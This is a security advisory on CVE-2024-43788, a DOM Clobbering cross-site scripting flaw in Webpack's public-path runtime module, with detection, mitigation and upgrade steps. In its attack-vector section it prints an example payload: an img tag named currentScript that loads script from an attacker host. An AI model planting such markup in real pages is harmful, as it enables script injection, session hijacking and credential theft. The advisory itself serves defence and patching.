CVE-2024-43788: Webpack.js DOM Clobbering XSS Vulnerability

CVE-2024-43788 Overview

CVE-2024-43788 is a DOM Clobbering vulnerability in Webpack's AutoPublicPathRuntimeModule that can lead to cross-site scripting (XSS) attacks. Webpack is a widely-used module bundler primarily designed to bundle JavaScript files for browser usage, though it can also transform, bundle, or package virtually any resource or asset. The vulnerability was discovered by the Webpack developers and has been observed exploited in real-world scenarios within Canvas LMS.

DOM Clobbering is a code-reuse attack technique where attackers embed non-script, seemingly benign HTML markup in a webpage (such as through posts or comments) and leverage existing JavaScript code gadgets to transform this markup into executable code. This vulnerability affects web pages that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Critical Impact

Attackers can achieve cross-site scripting (XSS) on websites using Webpack-generated bundles by injecting scriptless HTML elements such as img tags with unsanitized name attributes, potentially leading to session hijacking, credential theft, and malicious code execution in user browsers.

Affected Products

• webpack.js webpack (versions prior to 5.94.0)
• Applications using Webpack-bundled JavaScript files
• Canvas LMS (confirmed real-world exploitation)

Discovery Timeline

• 2024-08-27 - CVE CVE-2024-43788 published to NVD
• 2024-09-03 - Last updated in NVD database

Technical Details for CVE-2024-43788

Vulnerability Analysis

The vulnerability resides in Webpack's AutoPublicPathRuntimeModule, which is responsible for automatically determining the public path for assets at runtime. This module contains a DOM Clobbering gadget that can be exploited when attacker-controlled HTML elements are present on the page.

DOM Clobbering exploits the behavior of browsers where certain HTML elements with name or id attributes can override global JavaScript variables and properties on the document object. When Webpack's runtime code attempts to access certain DOM properties to determine the public path, an attacker can inject HTML elements that "clobber" these properties with malicious values, ultimately leading to script execution.

The attack requires user interaction where the victim visits a page containing both the vulnerable Webpack-generated JavaScript and attacker-injected HTML content. This has been confirmed in real-world exploitation against Canvas LMS, demonstrating the practical exploitability of this vulnerability.

Root Cause

The root cause is insufficient validation in the AutoPublicPathRuntimeModule when accessing DOM properties to determine the script's public path. The module does not properly sanitize or validate that the DOM elements it accesses are legitimate browser-created elements rather than attacker-injected HTML elements with matching name or id attributes that can override expected property values.

Attack Vector

The attack is conducted over the network and requires user interaction. An attacker must first inject scriptless HTML markup (such as an img tag with a crafted name attribute) into a target webpage. This can be accomplished through user-generated content features like posts, comments, or profile fields that don't properly sanitize the name and id attributes of HTML elements.

When a victim visits the page containing both the malicious HTML and Webpack-bundled JavaScript, the DOM Clobbering gadget in Webpack's runtime code references the attacker-controlled element instead of the expected DOM property. This allows the attacker to inject a malicious URL or JavaScript code that gets executed in the victim's browser context.

The vulnerability mechanism involves the following attack pattern: An attacker embeds an HTML element like <img name="currentScript" src="https://attacker.com/malicious.js"> in user-generated content. When Webpack's AutoPublicPathRuntimeModule attempts to access document.currentScript to determine the script source, it instead retrieves the attacker's injected element, leading to script execution from a malicious source. For detailed technical analysis, see the GitHub Security Advisory and the SCNPS research paper on DOM Clobbering.

Detection Methods for CVE-2024-43788

Indicators of Compromise

• Presence of HTML elements with suspicious name or id attributes matching DOM properties (e.g., currentScript, baseURI, documentURI)
• Unexpected script loads from third-party domains in web application traffic logs
• User-generated content containing <img>, <form>, <embed>, or <object> tags with name attributes targeting DOM properties

Detection Strategies

• Implement Content Security Policy (CSP) headers to detect and block unauthorized script sources
• Monitor web application logs for unusual patterns in user-submitted HTML content
• Deploy web application firewalls (WAF) with rules to detect DOM Clobbering patterns in HTML attributes
• Conduct regular security audits of user-generated content rendering pipelines

Monitoring Recommendations

• Enable detailed logging for user-generated content submissions, specifically tracking HTML elements with name and id attributes
• Monitor client-side error logs for unexpected script loading failures or CSP violations
• Implement anomaly detection for script resource requests originating from unexpected sources
• Review Webpack bundle configurations and update monitoring to track the version in use

How to Mitigate CVE-2024-43788

Immediate Actions Required

• Upgrade Webpack to version 5.94.0 or later immediately
• Audit all user-generated content input fields to ensure proper sanitization of name and id attributes
• Implement strict Content Security Policy headers to limit script execution sources
• Review applications for any custom runtime modules that may contain similar DOM Clobbering vulnerabilities

Patch Information

This vulnerability has been addressed in Webpack release version 5.94.0. The fix is available in the GitHub commit 955e057abc6cc83cbc3fa1e1ef67a49758bf5a61. All users running versions prior to 5.94.0 are advised to upgrade immediately. For additional details, refer to the GitHub Security Advisory GHSA-4vvj-4cpr-p986.

Workarounds

• There are no known workarounds for this vulnerability; upgrading to version 5.94.0 is required
• As a defense-in-depth measure, implement strict HTML sanitization that removes or escapes name and id attributes from user-submitted HTML
• Deploy Content Security Policy headers with strict script-src directives to limit the impact of potential XSS exploitation
• Consider using DOMPurify or similar sanitization libraries configured to strip potentially dangerous attributes from user content

# Upgrade Webpack to patched version
npm update webpack@5.94.0

# Verify installed version
npm list webpack